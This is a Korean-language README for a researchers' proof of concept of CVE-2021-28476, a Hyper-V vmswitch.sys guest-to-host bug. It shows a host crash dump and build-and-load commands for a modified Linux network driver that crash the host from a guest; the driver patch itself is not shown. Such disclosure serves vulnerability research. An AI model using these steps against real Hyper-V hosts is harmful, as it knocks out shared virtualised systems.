
vmswitch.sys의 게스트-투-호스트 'Hyper-V 원격 코드 실행 취약점'(CVE-2021-28476)에 대한 PoC.
이것은 CVE-2021-28476 ("Hyper-V 원격 코드 실행 취약점")에 대한 개념 증명(PoC)으로, 2021년 5월 Microsoft가 패치한 vmswitch.sys(네트워크 가상화 서비스 제공자)의 임의 메모리 읽기 취약점입니다.

이 취약점은 @australeo, @ergot86, @peleghd 및 @OphirHarpaz에 의해 발견되었습니다. 게스트 가상 머신이 VMBus를 통해 악의적인 RNDIS 패킷을 전송함으로써 트리거할 수 있습니다(VMBus는 파티션 간 통신에 사용되는 채널 기반 통신 메커니즘입니다).

디버거에서 호스트 시스템 충돌이 다음과 같이 나타납니다:
*** Fatal System Error: 0x0000007e
(0xFFFFFFFFC0000005,0xFFFFF80AD4A41A63,0xFFFFB70DD7EB7028,0xFFFFB70DD7EB6860)
Break instruction exception - code 80000003 (first chance)
A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.
A fatal system error has occurred.
nt!DbgBreakPointWithStatus:
fffff801`31412c50 cc int 3
kd> .cxr 0xffffb70dd7eb6860
rax=fffff80ad4bc7214 rbx=fffff80ad4bf62a0 rcx=0000000000000000
rdx=00000000047a2807 rsi=ffffb70dd7eb7420 rdi=ffffa58caa318f00
rip=fffff80ad4a41a63 rsp=ffffb70dd7eb7260 rbp=ffffa58caa318fe0
r8=0000000000000000 r9=000000000000013b r10=deadbeefbaadc0be
r11=ffffb70dd7eb7230 r12=fffff80ad4bc73d0 r13=00000000c0000001
r14=00000000000021f0 r15=fffff80ad4bc7360
iopl=0 nv up ei pl zr na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00050246
vmswitch!VmsIfrInfoParams_OID_SWITCH_NIC_REQUEST+0xfb:
fffff80a`d4a41a63 418b4a20 mov ecx,dword ptr [r10+20h] ds:002b:deadbeef`baadc0de=????????
kd> kp
# Child-SP RetAddr Call Site
00 ffffb70d`d7eb7260 fffff80a`d4a3ee41 vmswitch!VmsIfrInfoParams_OID_SWITCH_NIC_REQUEST+0xfb
01 ffffb70d`d7eb7300 fffff80a`d4a3fc76 vmswitch!VmsIfrInfoParamsNdisOidRequestBuffer+0x14d
02 ffffb70d`d7eb7380 fffff80a`d4a3c779 vmswitch!RndisDevHostHandleSetMessage+0x196
03 ffffb70d`d7eb7420 fffff801`3136f423 vmswitch!RndisDevHostControlMessageWorkerRoutine+0x199
04 ffffb70d`d7eb74c0 fffff801`3123a975 nt!IopProcessWorkItem+0x93
05 ffffb70d`d7eb7530 fffff801`3132ce85 nt!ExpWorkerThread+0x105
06 ffffb70d`d7eb75d0 fffff801`31412408 nt!PspSystemThreadStartup+0x55
07 ffffb70d`d7eb7620 00000000`00000000 nt!KiStartSystemThread+0x28
버그 자체는 VmsIfrInfoParams_OID_SWITCH_NIC_REQUEST 함수에서 발생합니다. 이 함수는 공격자가 제어하는 데이터로 호출될 수 있으며(그래서는 안 됨), 악성 게스트 가상 머신이 제공할 수 있는 포인터(boom->_win 아래)를 두 번 역참조합니다.

만약 이것이 흥미롭다면, @peleghd와 @OphirHarpaz가 BlackHat USA 2021 프레젠테이션인 hAFL1: Our Journey of Fuzzing Hyper-V and Discovering a 0-Day에서 이 취약점과 발견 과정에 대해 자세히 논의할 예정입니다.
PoC를 실행하는 가장 쉬운 방법은 최신 Ubuntu Focal을 실행하는 Linux 가상 머신을 만드는 것입니다.
이 작업이 완료되면 일치하는 커널 소스를 클론합니다:
$ uname -a
Linux tourdeforce 5.4.0-73-generic #82-Ubuntu SMP Wed Apr 14 17:39:42 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
$ git clone git://kernel.ubuntu.com/ubuntu/ubuntu-focal.git
$ cd ubuntu-focal
$ git checkout Ubuntu-5.4.0-73.82
$ git branch fbl_vswitch
$ git checkout fbl_vswitch
~/ubuntu-focal/drivers/net/hyperv/netvsc_drv.c를 src/netvsc_drv.c로, ~/ubuntu-focal/drivers/net/hyperv/rndis_filter.c를 src/rndis_filter.c로, ~/ubuntu-focal/drivers/net/hyperv/hyperv_net.h를 src/hyperv_net.h로 교체합니다(전체 diff는 cve-2021-28476.diff에서 확인 가능):
$ sudo apt-get install git build-essential kernel-package fakeroot libncurses5-dev libssl-dev ccache bison flex libelf-dev dwarves
$ cp /boot/config-5.4.0-73-generic .config
$ make oldconfig
$ make modules
$ make M=drivers/net/hyperv
마지막으로, 모듈을 로드하고 네트워크 인터페이스의 이더넷 주소를 변경하여 문제를 트리거합니다(이 작업은 rndis_filter.c/netvsc_set_mac_addr에 추가한 특정 코드 경로를 트리거합니다):
$ sudo rmmod hv_netvsc && insmod drivers/net/hyperv/hv_netvsc.ko
$ sudo ifconfig eth0 hw ether 00:11:22:33:44